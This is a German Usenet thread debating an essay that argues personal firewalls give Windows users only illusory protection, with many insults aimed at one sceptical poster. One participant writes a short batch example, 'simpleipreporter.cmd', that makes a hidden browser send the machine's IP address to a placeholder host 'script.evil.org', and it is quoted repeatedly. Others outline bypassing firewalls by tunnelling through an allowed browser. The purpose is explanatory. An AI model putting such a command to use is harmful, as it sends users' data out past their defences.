Kritik: "PFs schützen nicht"
Tobias Nissen
ich habe einen Text verfasst, der klären soll, warum Personal
Firewalls keinen Sinn machen. Er findet sich unter
<http://www.tobiasnissen.de/divers/usenet/pfs_schuetzen_nicht.html>
Wird klar worauf ich hinaus möchte und warum PFs nicht schützen
können? Sind meine Argumente überhaupt einwandfrei? An welcher Stelle
muss der Text verbessert werden? Kann man den Text nach einer kleinen
Überarbeitung so ins Netz stellen?
Ich habe noch vor, an geeigneten Stellen auf die hiesigen FAQs zu
verweisen und meinen Aussagen an einigen Stellen durch Quellenbelege
mehr Ausdruck zu verleihen.
TIA,
--
Tobias Nissen .:. http://www.tobiasnissen.de .:. ma...@tobiasnissen.de
Denis Jedig
> http://www.tobiasnissen.de/divers/usenet/pfs_schuetzen_nicht.html
Was du m.E. vergessen hast, sind die Bugs im z.B. IE und OE, vor denen
keine Personal Firewall schützt und schützen kann und nach derer Ausnutzung
jegliche Personal Firewall sinnlos wird. Da man sich auf die Art und Weise
alleine durch "Rumsurfen" und "Mail lesen" ein Backdoor einhandeln kann,
ist das ein Argument, das wesentlich besser zieht.
Paketfilter, die von einem einfachen Benutzer oder den von ihm gestarteten
Programmen verändert werden können, sind sinnlos - das ist für mich die
zentrale Argumentation.
--
Denis Jedig
syneticon GbR
Tobias Nissen
> Tobias Nissen <ma...@tobiasnissen.de> wrote:
>
>> http://www.tobiasnissen.de/divers/usenet/pfs_schuetzen_nicht.html
>
> Was du m.E. vergessen hast, sind die Bugs im z.B. IE und OE, vor denen
> keine Personal Firewall schützt und schützen kann und nach derer Ausnutzung
> jegliche Personal Firewall sinnlos wird. Da man sich auf die Art und Weise
> alleine durch "Rumsurfen" und "Mail lesen" ein Backdoor einhandeln kann,
> ist das ein Argument, das wesentlich besser zieht.
Ich dachte, das würde in folgendem Absatz klar?
| Zum Beispiel könnte ein arglistiger Benutzer einen Bug in einem
| freigegebenem Dienst ausnutzen, um so Zugriff auf das System zu
| erlangen. Ab diesem Punkt kann der Angreifer die PF so verändern,
| dass sie keine Dienste mehr schützt. Die PF ist ab diesem Moment
| nutzlos und eine Gefahr für den Benutzer geworden, [...]
Vielleicht sollte ich als Beispiele aber noch den IE und OE anführen,
das wäre bestimmt sinnvoll.
Haluk
> Firewalls keinen Sinn machen. Er findet sich unter
>
> <http://www.tobiasnissen.de/divers/usenet/pfs_schuetzen_nicht.html>
Es ist eine Seite über Volksverdummung.
--
mfg Haluk
Windows 2000 rocks!
Tobias Nissen
>> ich habe einen Text verfasst, der klären soll, warum Personal
>> Firewalls keinen Sinn machen. Er findet sich unter
>>
>> <http://www.tobiasnissen.de/divers/usenet/pfs_schuetzen_nicht.html>
>
> Es ist eine Seite über Volksverdummung.
Deine Aussage ist falsch, Du argumentierst nicht, Deine Signatur ist
falsch abgetrennt und Du bringst mir aufgrund Deines fehlenden vollen
Namens keinen Respekt entgegen.
Was genau machst Du im Usenet? Verhaltensforschung? Anders lassen sich
Deine sinnfreien Beiträge ja nicht erklären.
Johannes Lichtenberger
> * Haluk schrieb:
>
>>> ich habe einen Text verfasst, der klären soll, warum Personal
>>> Firewalls keinen Sinn machen. Er findet sich unter
>>>
>>> <http://www.tobiasnissen.de/divers/usenet/pfs_schuetzen_nicht.html>
>>
>> Es ist eine Seite über Volksverdummung.
>
> Deine Aussage ist falsch, Du argumentierst nicht, Deine Signatur ist
> falsch abgetrennt und Du bringst mir aufgrund Deines fehlenden vollen
> Namens keinen Respekt entgegen.
>
> Was genau machst Du im Usenet? Verhaltensforschung? Anders lassen sich
> Deine sinnfreien Beiträge ja nicht erklären.
Haluk hat meines Erachtens nach noch keinen einzigen sinnigen Beitrag
geleistet. Seine Signatur scheint er sowieso nicht *richtig* abgetrennt
zu kriegen. Ein hoffnungsloser Fall sozusagen. Plonken und fertig.
Gruss, Johannes
--
Man sieht nur mit dem Herzen gut, das Wesentliche ist für die Augen
unsichtbar.
(A. de Saint-Exupéry)
Denis Jedig
> Ich dachte, das würde in folgendem Absatz klar?
>
>| Zum Beispiel könnte ein arglistiger Benutzer einen Bug in einem
>| freigegebenem Dienst ausnutzen,
Der Punkt ist: du brauchst keinen Bug. Ein ausgeführter Trojaner, einer der
besagten Fehler im Browser, social engeneering oder das ununterdrückbare
Bedürfnis, irgendein Internetspiel zu spielen, ohne sich der Konsequenzen
bewusst zu sein, hätten doch absolut denselben Effekt.
Der Benutzer darf die Regeln schlicht nicht verändern können, sonst macht es
einfach keinen Sinn.
Tilman Schmidt
>* Denis Jedig schrieb:
>
>> Was du m.E. vergessen hast, sind die Bugs im z.B. IE und OE, [..]
>
>Ich dachte, das würde in folgendem Absatz klar?
>
>| Zum Beispiel könnte ein arglistiger Benutzer einen Bug in einem
>| freigegebenem Dienst ausnutzen, [...]
IE und OE sind keine freigegebenen Dienste, sondern Clients. Der
Leser, der IE und OE benutzt, wird sich sagen, ich habe ja gar keine
Dienste freigegeben, und sich von dem Absatz nicht angesprochen
fühlen.
--
Tilman Schmidt E-Mail: Tilman....@ePost.de
Bonn, Germany
- In theory, there is no difference between theory and practice.
In practice, there is.
Bernd-Ulrich Adrigam
>
> Vielleicht sollte ich als Beispiele aber noch den IE und OE anführen,
> das wäre bestimmt sinnvoll.
Hi Tobias,
dann müßtest Du auch die Probleme mit M$-Systemen im Allgemeinen ansprechen
und die Probleme anderer Browser und Mail-/News-Reader.
Nachdem nun SuSe auch mit PF wirbt, müßte das Thema Linux und Sicherheit
auch aufnehmen.
Damit würdest Du aber den engen Rahmen "PF" verlassen und müßtest den Text
umbenennen.
Bernd-Ulrich Adrigam
Tobias Nissen
>>| Zum Beispiel könnte ein arglistiger Benutzer einen Bug in einem
>>| freigegebenem Dienst ausnutzen, [...]
>
> IE und OE sind keine freigegebenen Dienste, sondern Clients. Der
> Leser, der IE und OE benutzt, wird sich sagen, ich habe ja gar keine
> Dienste freigegeben, und sich von dem Absatz nicht angesprochen
> fühlen.
Recht hast Du. Der Zusatz "oder Client" dürfte wohl ausreichen.
Tobias Nissen
> Nachdem nun SuSe auch mit PF wirbt, müßte das Thema Linux und Sicherheit
> auch aufnehmen.
>
> Damit würdest Du aber den engen Rahmen "PF" verlassen und müßtest den Text
> umbenennen.
Der Text entstand deshalb, weil ich in letzter Zeit immer häufiger
gefragt wurde, welche Firewall ich empfehlen würde. Die Leute, die das
fragten, waren immer typische Windows-IE-OE Benutzer. Daher soll sich
der Text darauf beschränken und halbwegs allgemein-verständlich
bleiben.
Das hätte ich vielleicht als Prämisse vorschieben sollen.
Arno Welzel
[...]
> <snip>
> Angenommen, es existiert in der PF eine Regel, die dem Internet Explorer
> erlaubt, Daten an den HTTP-Port eines Webservers zu senden, was in
> schätzungsweise über 95% der Fall ist, dann kann jede beliebige Anwendung
> auf dem System davon profitieren.
> <snap>
>
> funktionert bei verwendung lokaler proxys (webwasher & co sind als lokaler
> proxy im ie eingetragen) und genereller loopback regel hervorragend.
> ansonsten fragen die bemängelten produkte (pfw) schon nach, auch wenn die
> anwendung die ie-engine verwendet (active-x control), bsp. eudora, oe etc..
Ein "böses" Programm nutzt den IE als Transportvehikel, reicht ihm die
Anfragen weiter. Der lokale Proxy wird diese Anfragen ohne Probleme
ebenfalls bearbeiten. Wo siehst Du da erhöhte Sicherheit?
Zum Thema "Nachfragen": Das tut eine PF höchstens dann, wenn der IE als
ActiveX-Control verwendet wird. Man kann den IE oder andere Browser aber
auch sehr leicht so anbinden, dass *er* als anfragendes Programm
erscheint und nicht der fernsteuerende Prozess.
[...]
> wer gibt mir die garantie das z.b. alan cox oder linus torvalds nicht
> mitarbeiter der nsa sind und die free software foundation ist eine
> abteilung der cia (gebt den kindern was zum spielen)?
Tausende von Entwicklern, die den Quellcode kennen und sehr schnell
merken würden, wenn Hintertüren für die NSA/CIA etc. existieren würden?
> kann ich lutz donnerhacke vertrauen, wenn er sich den code von programm xy
> ansieht und sein ok gibt? es sind halt alles nur menschen und menschen sind
> nun mal korrupt und verlogen.
Lutz Donnerhacke dürfte bei vielen Leuten als vertrauenswürdig bekannt
sein. Von Bill Gates oder Steve Ballmer kann man das nicht unbedingt
behaupten.
> auch nicht unwichtig:
> was nützt mir der *schönste* offene quellcode, wenn mir das technische
> verständnis hierfür fehlt (analyse)? lesen ist nicht gleich verstehen.
Siehe oben -- nicht *Du* musst alles selber lesen, sondern Du kannst
davon ausgehen, dass viele andere Leute die Quelltexte gelesen haben und
Bugs oder Sicherheitslöcher eher bemerkt und abgestellt werden.
[...]
> streiche personal firewalls, setze firewalls im allgemeinen
>
> alles von menschenhand erschaffene kann und wird durch menschenhand
> zerstört.
Du hast es nicht verstanden. Firewall-Konzepte sehen in der Regel vor,
dass die Software auf einer eigenen Maschine läuft, deren Funktion
kontrollierbar bleibt und nicht durch beliebige Programme, die ein
Anwender startet, ausgehebelt wird. Deshalb sind "Personal Firewalls"
konzeptioneller Blödsinn -- selbst wenn die dazu verwendete Software im
Einzelfall grundsätzlich funktionierende Filter bietet, kann Sie zu
leicht umgangen werden.
Ciao, Arno
Pascal Gienger
> Lutz Donnerhacke dürfte bei vielen Leuten als vertrauenswürdig bekannt
> sein. Von Bill Gates oder Steve Ballmer kann man das nicht unbedingt
> behaupten.
Bei den meisten hier wird es andersrum sein. Die kaufen auch CheckPoint
FW-1, weil ist ja "große Firma" und deshalb "muß es ja gut sein".
Wenigstens bekommt man mit Checkpoint auch einen Paketfilter, das ist
richtig.
Pascal
Haluk
> falsch abgetrennt und Du bringst mir aufgrund Deines fehlenden vollen
> Namens keinen Respekt entgegen.
>
> Was genau machst Du im Usenet? Verhaltensforschung? Anders lassen sich
> Deine sinnfreien Beiträge ja nicht erklären.
Du behauptest, PF würden nichts nutzen. Das ist falsch. Falls du glaubst, du
hättest trotzdem Recht, mußt du konkrete Angaben machen, welche Firewall mit
welchem Trick umgangen werden kann.
Ich setze PF ein. Daher weiß ich sehr genau, daß sie schützen.
Juergen P. Meier
>> Deine Aussage ist falsch, Du argumentierst nicht, Deine Signatur ist
>> falsch abgetrennt und Du bringst mir aufgrund Deines fehlenden vollen
>> Namens keinen Respekt entgegen.
>>
>> Was genau machst Du im Usenet? Verhaltensforschung? Anders lassen sich
>> Deine sinnfreien Beiträge ja nicht erklären.
>
> Du behauptest, PF würden nichts nutzen. Das ist falsch. Falls du glaubst, du
> hättest trotzdem Recht, mußt du konkrete Angaben machen, welche Firewall mit
> welchem Trick umgangen werden kann.
Das ist alles schon gemacht worden. Auch wenn *DU* das ignorierst,
wird deine Trollerei dadurch auch nicht besser. Google existiert.
For the records: Haluk ist ein unbelehrbarer lernresistenter Troll.
Juergen
--
J...@lrz.fh-muenchen.de - "This World is about to be Destroyed!"
begin 0 outlooksucks.exe
If your Newsreader thinks this is an attachment then its broken.
end
Rainer Weikusat
> Du behauptest, PF würden nichts nutzen. Das ist falsch. Falls du glaubst, du
> hättest trotzdem Recht, mußt du konkrete Angaben machen, welche Firewall mit
> welchem Trick umgangen werden kann.
Das ist Abfall, H'luck, denn ein Negativum kann man nicht
beweisen. Außerdem geht das an der Problematik vorbei, denn bevor man
irgendwelche Aussagen _von Wert_ über das Verhalten eines Programmes
machen kann, muß man das überhaupt erstmal einsehen können.
> Ich setze PF ein. Daher weiß ich sehr genau, daß sie schützen.
Wie hübsch :->. Die PF als Windows-Ganzkörperkondom 'zur Vermeidung
von seltsamen Infektionen'. Es gibt übrigens einen auch einen
hübschen Terminus für die Show, die Du hier abzuziehen versuchst, er
ist von einer Freundin von einem Freund von mir und heißt 'das übliche
Gequatsche' (genaugenommen ist die Formulierung von mir, aber 'der
Gedanke lag im Raum' :->).
F'up2 poster
Frog3
Tobias Nissen <ma...@tobiasnissen.de> wrote:
>
> Hallo,
> ich habe einen Text verfasst, der klären soll, warum Personal
> Firewalls keinen Sinn machen. Er findet sich unter
>
> <http://www.tobiasnissen.de/divers/usenet/pfs_schuetzen_nicht.html>
>
> Wird klar worauf ich hinaus möchte und warum PFs nicht schützen
> können? Sind meine Argumente überhaupt einwandfrei? An welcher Stelle
> muss der Text verbessert werden? Kann man den Text nach einer kleinen
> Überarbeitung so ins Netz stellen?
Es stellt sich in dem Text so dar, als koennten PFs in keinem vorstellbaren
Szenario einen Schutz bieten. Das ist IMHO nicht ganz so.
Ausgangsszenario: WindozeXP; Die PF laeuft als Dienst, passwortgeschuetzt,
der normale Surfer oder ein anderer Prozess kann ihn nicht ausschalten.
Beispiel: Exploit ueber ein jpg-Bild auf einen Bildbetrachter (oder einem
Lied auf den MP3-Player oder Aehnliches, kann ja mal passieren;-) und der
Installation eines Trojaners der anschliessend eine Verbindung zu einem
IRC-Server aufnehmen soll. Geht nicht, weil PF nur IRC auf bestimmte Server
zulaesst. Genauso koennen allerlei Anwendungen, wie KaZaa(Spyware) evtl. davon
abgehalten werden, unnoetige Kommunikation zu betreiben. Natuerlich gilt,
dass das nur manchmal und je nach Anwendung einen Schutz bieten kann. Damit
verhaelt es sich letztendlich wie mit einem Virenscanner: Keine Sicherheit,
nur eingeschraenkter Schutz.
Ein Nutzen ist ausserdem fuer den einen oder anderen experimentierfreudigen
Benutzer die Funktion des Beobachtens. "Mit wem will meine tolle neue Software
sprechen?" Und da ist das halt kompfortabler als mit so etwas wie tdimon und
netstat.
Rundum-Schutz oder Sicherheit schaffen Personal Firewalls jedoch nicht.
(Hmmm... Mal sehen, ob ich heute Nachmittag eines besseren belehrt werde :-)
Haluk
geschehen?
Juergen P. Meier
> Welche PF können umgangen werden? Ich konnte nichts finden. Und wie soll das
> geschehen?
Nochmal (zum 43. Mal extra fuer die Langsamen Mitmenschen):
*JEDE* PersonalFirewall kann umgangen werden. Ganz einfach. Mit Hilfe
des sicherlich freigeschalteten Internet Explorer. Dieser laesst sich
hervorragend zum Tunneln von jeder beliebigen Anwendung,
einschliesslich Trojanischen Pferden, benutzen.
Haluk
> des sicherlich freigeschalteten Internet Explorer. Dieser laesst sich
> hervorragend zum Tunneln von jeder beliebigen Anwendung,
> einschliesslich Trojanischen Pferden, benutzen.
Hast du dafür Beweise oder Links? Wie soll das Tunneln mit dem IE
funktionieren?
Chris Haaser
> Welche PF können umgangen werden?
Alle.
> Ich konnte nichts finden.
Das heißt nichts.
> Und wie soll das geschehen?
Frag google.
--
Bei Ihrem Computer sind Busmaster oder Ultra-DMA im BIOS und im
Geräte-Manager aktiviert. Die Daten bewegen sich zu schnell für
das System. [aus \WIN98SE\setup.txt]
Juergen P. Meier
simpleipreporter.cmd
start /min explorer http://script.evil.org/submit?myip=%IP%
Bist du wirklich so Begriffstutzig? Du hast dir deine Merkbefreiung
wahrhaftig verdient.
Windows-Experte, jaaa klar.
Haluk
> start /min explorer http://script.evil.org/submit?myip=%IP%
Was soll der Link bezwecken? Bei mir erscheint nur eine Fehlermeldung, daß
die Verbindung nicht aufgebaut werden konnte. Wo ist die Schwachstelle?
Juergen P. Meier
>> simpleipreporter.cmd
>> start /min explorer http://script.evil.org/submit?myip=%IP%
>
> Was soll der Link bezwecken? Bei mir erscheint nur eine Fehlermeldung, daß
> die Verbindung nicht aufgebaut werden konnte. Wo ist die Schwachstelle?
Du bist so Begriffsstutzig. Leider bist du nicht nur eine Gefahr
fuer dich selbst, sondern auch fuer deine Umwelt.
Haluk
> >> start /min explorer http://script.evil.org/submit?myip=%IP%
Was soll dieser Link ausführen? Was wird getunnelt? Warum funktioniert das
nicht mit meinem IE?
Udo Zaydowicz
Haluk wrote:
>>>>simpleipreporter.cmd
>>>>start /min explorer http://script.evil.org/submit?myip=%IP%
>>>>
> Was soll dieser Link ausführen? Was wird getunnelt? Warum funktioniert das
> nicht mit meinem IE?
Ganz im Ernst, Du tust nur so, nicht wahr?
Farvel, Udo
Paul Muster
[zu Haluk]
> Du bist so Begriffsstutzig. Leider bist du nicht nur eine Gefahr
> fuer dich selbst, sondern auch fuer deine Umwelt.
Wie Ratten. Wenn die gefüttert werden, kommen sie auch immer
wieder.
mfG Paul
--
--- eMails ans From: werden ungelesen gelöscht. ---
Haluk
Schwachstelle meiner Firewall?
Michael H. Fischer
> Bei mir steht nur, daß die Seite nicht erreichbar ist. Wo ist die
> Schwachstelle meiner Firewall?
Zwischen deinen Ohren. Dass "http://script.evil.org/submit?myip=%IP%"
ein Platzhalter für eine "beliebige Bösartige Seite mit Script, welches
Sicherheitslücke von IE ausnutzt" sein könnte, bist du wirklich nicht
gekommen?
Dann wundert mich in Bezug auf dich wirklich nichts mehr.
Michael H. Fischer
Frog3
> > und der Installation eines Trojaners
>
> Das Kind ist also in den Brunnen gefallen, das System ist
> kompromittiert.
>
> > der anschliessend eine Verbindung zu einem IRC-Server aufnehmen
> > soll.
>
> Warum diese künstliche Einschränkung?
Sollte nur ein Beispiel sein, dass eine PF mal einen Schutz bieten
_kann_. Unter gewissen Umstaenden. Eventuell... :-)
> Generell kann das Schadprogramm einfach IE als Transporteur nutzen.
> Welcher PF-Nutzer "blockt" schon IE.
ACK. Der etwas schlauere (forschende) Benutzer blockt mit der PF den
(Internet)Explorer und surft mit Opera/Mozarella/Lynx. Und hat damit die Wahrscheinlichkeit einen Boesewicht zu entlarven, deutlich erhoeht.
_Sicherheit_ bedeutet das natuerlich nicht, das ist vollkommen klar.
> > Ein Nutzen ist ausserdem fuer den einen oder anderen
> > experimentierfreudigen Benutzer die Funktion des Beobachtens.
>
> Ja, nicht mehr, nicht weniger. PFs können designbedingt nur
> Scheinsicherheit bieten.
Normalerweise schon. Ausser bei 'Haluk'. :-)
Haluk
> ein Platzhalter für eine "beliebige Bösartige Seite mit Script, welches
> Sicherheitslücke von IE ausnutzt" sein könnte, bist du wirklich nicht
> gekommen?
Es könnte auch eine Seite mit Kochbuchrezepten sein. Was das auch sein mag.
An meinem System hat es nichts bewirkt. Also, wo sind Schwachstellen?
Juergen P. Meier
> Heiko Schlenker <hsc...@gmx.de> wrote:
>
>> Generell kann das Schadprogramm einfach IE als Transporteur nutzen.
>> Welcher PF-Nutzer "blockt" schon IE.
>
> ACK. Der etwas schlauere (forschende) Benutzer blockt mit der PF den
> (Internet)Explorer und surft mit Opera/Mozarella/Lynx.
Und der schlauere Grieche schaut in der Registry nach, welchen Browser
denn $USER am liebsten verwendet.
Oder aber er schaut sich gleich das Regelwerk der $PF an um zu sehen
mit welchem Programm er am leichtesten rauskommt.
> Und hat damit die Wahrscheinlichkeit einen Boesewicht zu entlarven,
> deutlich erhoeht.
> _Sicherheit_ bedeutet das natuerlich nicht, das ist vollkommen klar.
Genau. Sicherheit wuerde es bedeuten, wenn sowohl die
Wahrscheinlichkeit den Boesewicht zu entlarven 1 betruege als auch die
Wahrscheinlichkeit das der Boesewicht rauskommt 0 ist.
Chris Haaser
>> simpleipreporter.cmd
>> start /min explorer http://script.evil.org/submit?myip=%IP%
>
> Was soll der Link bezwecken? Bei mir erscheint nur eine Fehlermeldung, daß
> die Verbindung nicht aufgebaut werden konnte.
*AUUUUAAAA*
Du *kannst* nicht wirklich so blöd sein. Gib's zu, du studierst Psycho
und machst irgendein komisches Experiment mit uns.
--
Support: "Hmm, komisch. Jetzt fällt mir auch keine Lösung mehr ein. Installieren
Sie das Update doch nochmal."
DAU: "Installieren?"
Haluk
> und machst irgendein komisches Experiment mit uns.
Nein, du brauchst dir darum keine Sorgen zu machen.
Jens Hoffmann
Haluk <Ho...@gmx.de> wrote:
>Bei mir steht nur, daß die Seite nicht erreichbar ist. Wo ist die
>Schwachstelle meiner Firewall?
Sitzt davor.
Man will Dir zeigen, dass man IE trivialst dazu bringen kann,
Skripte, die Du nicht kontrolliert hast, mit (mindestens) Deinen
Rechten auf Deiner Maschine auszufuehren. Alle diese Skripte
werden trotz "FW" auf Deinen Rechner uebertragen und ausgefuehrt.
Lies mal den Cheswick, insbesondere die Aussagen darueber, wovor
eine Firewall nicht schuetzen kann.
Also: Wenn Du sicher "ins Web" willst, aka einen Webbrowser sicher
benutzen willst, musst Du, neben anderen Dingen, sicher stellen,
dass die BEnutzung nciht shcoin eine Gefahr darstellt.
Also ueblicherweise mindestens Javascript, Java, Active"irgendwas",
Flash, PS-Preview, Scripting-Host, etc. pp. abschalten.
Gruss,
Jens
Rainer Weikusat
> Es könnte auch eine Seite mit Kochbuchrezepten sein. Was das auch sein mag.
> An meinem System hat es nichts bewirkt. Also, wo sind
> Schwachstellen?
google hilft Dir weiter.
Haluk
> Man will Dir zeigen, dass man IE trivialst dazu bringen kann,
> Skripte, die Du nicht kontrolliert hast, mit (mindestens) Deinen
> Rechten auf Deiner Maschine auszufuehren. Alle diese Skripte
> werden trotz "FW" auf Deinen Rechner uebertragen und ausgefuehrt.
Das trifft auch auf Netscape zu:
http://www.heise.de/ct/browsercheck/demos.shtml
Vielleicht hätte diese Seite auf Windows 98 Wirkung gezeigt. In meinem
Windows 2000 hat es nichts anrichten können, weil ich den Rechner nur als
Benutzer mit Eingeschränkten Rechten einsetze. Eine PF ist kein Wundermittel
gegen alles. In Verbindung mit einer guten Anti-Viren Software und
Trojanerfindern (Tiny TrojanTrap) bietet eine PF recht brauchbare
Sicherheit.
> Lies mal den Cheswick, insbesondere die Aussagen darueber, wovor
> eine Firewall nicht schuetzen kann.
Jeder kann eine ausführbare Datei downloaden, welches mit Viren und
Trojanern verseucht ist. Der Browsertyp spielt dabei keine Rolle.
> Also: Wenn Du sicher "ins Web" willst, aka einen Webbrowser sicher
> benutzen willst, musst Du, neben anderen Dingen, sicher stellen,
> dass die BEnutzung nciht shcoin eine Gefahr darstellt.
>
> Also ueblicherweise mindestens Javascript, Java, Active"irgendwas",
> Flash, PS-Preview, Scripting-Host, etc. pp. abschalten.
Der IE kann auch sehr sicher sein. Man muß ihn nur so einstellen. Ich habe
auch JS und VBS (und vieles mehr) deaktiviert.
Frog3
> >> Generell kann das Schadprogramm einfach IE als Transporteur nutzen.
> >> Welcher PF-Nutzer "blockt" schon IE.
> >
> > ACK. Der etwas schlauere (forschende) Benutzer blockt mit der PF den
> > (Internet)Explorer und surft mit Opera/Mozarella/Lynx.
>
> Und der schlauere Grieche schaut in der Registry nach, welchen Browser
> denn $USER am liebsten verwendet.
Lynx steht nicht in der Registry :-p
> Oder aber er schaut sich gleich das Regelwerk der $PF an um zu sehen
> mit welchem Programm er am leichtesten rauskommt.
Laesst sich das nicht mit Berechtigungen unter NT/XP verhindern?
[Letztendlich alles unsicher],ACK
Pascal Gienger
Chris Haaser <usene...@ihrcheckts.net> wrote:
> * quoting Haluk <Ho...@gmx.de>:
>
> >> simpleipreporter.cmd
> >> start /min explorer http://script.evil.org/submit?myip=%IP%
> >
> > Was soll der Link bezwecken? Bei mir erscheint nur eine Fehlermeldung, daß
> > die Verbindung nicht aufgebaut werden konnte.#
>
> *AUUUUAAAA*
>
> Du *kannst* nicht wirklich so blöd sein. Gib's zu, du studierst Psycho
> und machst irgendein komisches Experiment mit uns.
Ich denke doch daß Haluk wirklich Informatik oder ein verwandtes Fach
studiert und (leider) die besten Chancen hat den Abschluß zu bekommen.
Wie ich in meinem Bekanntenkreis gesehen habe was die in ihrem Studium
gemacht haben - das geht auf keine Kuhhaut. Und nach dem Studium ist ja
alles egal, da kann man doof sein wie man will, man hat ja den Zettel.
Soviele Pferde können gar nicht kotzen wieviele "IT-Security-People" ich
gesehen habe die mit diesem Diplomzettel die Stelle gekriegt haben und
ähnlichen Dünnsinn wie Haluk verzapfen :(
Das macht mir natürlich nichts denn ich verdiene nicht wenig Geld dabei,
die ganzen Abstrusitäten dieser Menschen in den Netzen ihrer Arbeitgeber
wieder zu bereinigen. Es ist sowieso komisch, würde ich mich bei denen
bewerben gäbe es keine Stelle wegen "sie haben ja nicht mal Informatik
studiert!", komme ich als Firma dann bezahlen sie insgesamt mehrfache
Beträge eines typischen Arbeitslohnes und lassen Dich ins Innerste ihrer
Netze (inklusive das "den Mitarbeitern auf die Finger klopfen!").
Schon interessant manchmal der deutsche Arbeitsmarkt. ;-) Wobei
Frankreich noch übler ist. Da ist gerichtlich festgestellt worden daß
derjenige mit dem höheren Zettel (trotz exakt gleicher Stelle und
Arbeitsanforderung) Anspruch auf höheren Lohn hat...
Pascal
Robin S. Socha
>> Es könnte auch eine Seite mit Kochbuchrezepten sein.
>
> google hilft Dir weiter.
Verkaufen die jetzt auch Arsenkapseln?
Dieter Funck
> > simpleipreporter.cmd
> > start /min explorer http://script.evil.org/submit?myip=%IP%
>
> Was soll der Link bezwecken? Bei mir erscheint nur eine
> Fehlermeldung, daß die Verbindung nicht aufgebaut werden
> konnte. Wo ist die Schwachstelle?
<GRÖHL> Das darf doch wohl nicht war sein. Wenn jemand jetzt
behauptet, du seist dumm wie Bohnenstroh, tut er dem Stroh
verdammt unrecht.
Gruss
Dieter
--
In Newsgroups bin ich erst seit 4 Monaten. Daher bin ich hier nicht so
gut unterwandert.
(Haluk Oeren alias "Wilfried Kattelos" in dcsf)
Paul Muster
schrieb:
Wahrscheinlich nicht direkt. Aber man kann ja nach einem
Verkäufer suchen.
mfG Paul
--
Markus Ritter in <a9jj59$3qb8s$1...@ID-85881.news.dfncis.de>:
"Als Fw-Dienstgrad steht Dir am Ende Deiner Bundeswehrzeit AFAIK 2.5 Jahre
zur Weiterbildung zur Verfuegung (da macht man dann das Abi nach etc.)."
Chris Haaser
>> Du *kannst* nicht wirklich so blöd sein. Gib's zu, du studierst Psycho
>> und machst irgendein komisches Experiment mit uns.
>
> Ich denke doch daß Haluk wirklich Informatik oder ein verwandtes Fach
> studiert und (leider) die besten Chancen hat den Abschluß zu bekommen.
Danke, noch ein Grund, das Studium nicht fortzusetzen.
> Das macht mir natürlich nichts denn ich verdiene nicht wenig Geld dabei,
> die ganzen Abstrusitäten dieser Menschen in den Netzen ihrer Arbeitgeber
> wieder zu bereinigen.
Du hast nicht zufällig noch Jobs zu vergeben? ;-)
> Schon interessant manchmal der deutsche Arbeitsmarkt. ;-) Wobei
> Frankreich noch übler ist. Da ist gerichtlich festgestellt worden daß
> derjenige mit dem höheren Zettel (trotz exakt gleicher Stelle und
> Arbeitsanforderung) Anspruch auf höheren Lohn hat...
*schauder*
Interessant war die Umfrage der c't zu den Durchschnittsgehältern. Der
Anstieg zwischen "nie studiert" und "bisschen studiert" war *erheblich*
höher als der von "bisschen studiert" zu "Studium abgeschlossen".
--
Support: "Starten Sie das Programm mal. Was steht auf Ihrem Monitor?"
DAU: "Ein Bild von meiner Frau."
Chris Haaser
> Vielleicht hätte diese Seite auf Windows 98 Wirkung gezeigt.
*DIE* *SEITE* *GIBT* *ES* *GAR* *NICHT*.
> In meinem Windows 2000 hat es nichts anrichten können,
Komisch.
> Eine PF ist kein Wundermittel
> gegen alles.
Eine PF ist kein Mittel gegen *irgendwas*.
> Jeder kann eine ausführbare Datei downloaden, welches mit Viren und
> Trojanern verseucht ist. Der Browsertyp spielt dabei keine Rolle.
Das downloaden ist nicht das Problem.
> Der IE kann auch sehr sicher sein.
Niemals.
xp & F'up2 de.alt.gruppenkasper
Lasse Kliemann
> > Man will Dir zeigen, dass man IE trivialst dazu bringen
> > kann, Skripte, die Du nicht kontrolliert hast, mit
> > (mindestens) Deinen Rechten auf Deiner Maschine
> > auszufuehren. Alle diese Skripte werden trotz "FW" auf
> > Deinen Rechner uebertragen und ausgefuehrt.
>
> Das trifft auch auf Netscape zu:
>
> http://www.heise.de/ct/browsercheck/demos.shtml
>
> Vielleicht hätte diese Seite auf Windows 98 Wirkung
> gezeigt.
Nein, denn sie existiert nicht. Man hatte lediglich die
Hoffnung, daß die Art und Weise, wie dieser Link aufgebaut
war, es bei Dir klingeln läßt. Da das offenbar nicht geklappt
hat, nochmal ganz langsam:
1. Du setzt auf Deinem Rechner einen Browser ein.
2. Dieser Browser darf gemäß den Einstellungen in der PF
Daten ins Netz senden. Das braucht man zum Browsen.
3. Ein Schadprogramm benutzt den Browser, ebenso wie ihn auch
der Benutzer des Rechners benutzt, zum Versenden von Daten.
> In meinem Windows 2000 hat es nichts anrichten können, weil
> ich den Rechner nur als Benutzer mit Eingeschränkten
> Rechten einsetze.
Das bringt nur etwas, wenn das Schadprogramm und der Browser
unter einem User laufen, der keine relevanten Daten lesen
kann.
> Eine PF ist kein Wundermittel gegen alles. In Verbindung
> mit einer guten Anti-Viren Software und Trojanerfindern
> (Tiny TrojanTrap) bietet eine PF recht brauchbare
> Sicherheit.
Wie kann man nur ein System einsetzten, für das man erst so
ein Geraffel benötigt, um von "brauchbarer Sicherheit"
sprechen zu können?
> > Lies mal den Cheswick, insbesondere die Aussagen
> > darueber, wovor eine Firewall nicht schuetzen kann.
>
> Jeder kann eine ausführbare Datei downloaden, welches mit
> Viren und Trojanern verseucht ist. Der Browsertyp spielt
> dabei keine Rolle.
Ja, ach was. Welche Erkenntnis. Wer hatte denn etwas anderes
behauptet?
--
"micr@soft really"@sucks
Juergen P. Meier
> "Juergen P. Meier" <J...@lrz.fh-muenchen.de> wrote:
>
>> >> Generell kann das Schadprogramm einfach IE als Transporteur nutzen.
>> >> Welcher PF-Nutzer "blockt" schon IE.
>> >
>> > ACK. Der etwas schlauere (forschende) Benutzer blockt mit der PF den
>> > (Internet)Explorer und surft mit Opera/Mozarella/Lynx.
>>
>> Und der schlauere Grieche schaut in der Registry nach, welchen Browser
>> denn $USER am liebsten verwendet.
>
> Lynx steht nicht in der Registry :-p
Doch, in der "LRU" liste des exploders, wenn du das nicht immer aus
einer cmd.exe shell heaus startest. ;)
>> Oder aber er schaut sich gleich das Regelwerk der $PF an um zu sehen
>> mit welchem Programm er am leichtesten rauskommt.
>
> Laesst sich das nicht mit Berechtigungen unter NT/XP verhindern?
Du entfernst gerne Manuell von allen moeglichen Registry-keys die
User-nur-lese-rechte? nach jedem aendern durch die priviligierte
Applikation?
> [Letztendlich alles unsicher],ACK
